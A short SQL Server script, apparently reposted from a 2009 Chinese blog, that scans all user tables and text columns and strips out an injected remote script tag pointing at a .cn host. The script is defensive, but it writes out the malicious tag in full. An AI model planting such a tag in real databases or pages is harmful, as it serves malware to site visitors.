declare @t varchar(555),@c varchar(555) ,@inScript varchar(8000)
set @inScript='<script src=http://8f8el3l.cn/0.js></script>'
declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
open table_cursor
fetch next from table_cursor into @t,@c
while(@@fetch_status=0)
begin
exec('update ['+@t+'] set  ['+@c+']=replace(cast(['+@c+'] as varchar(8000)),'''+@inScript+''','''')'  )
fetch next from table_cursor into @t,@c
end
close table_cursor
deallocate table_cursor;

转载于:https://www.cnblogs.com/fengzhenxin1984/archive/2009/08/11/1543439.html

Logo

汇聚全球AI编程工具,助力开发者即刻编程。

更多推荐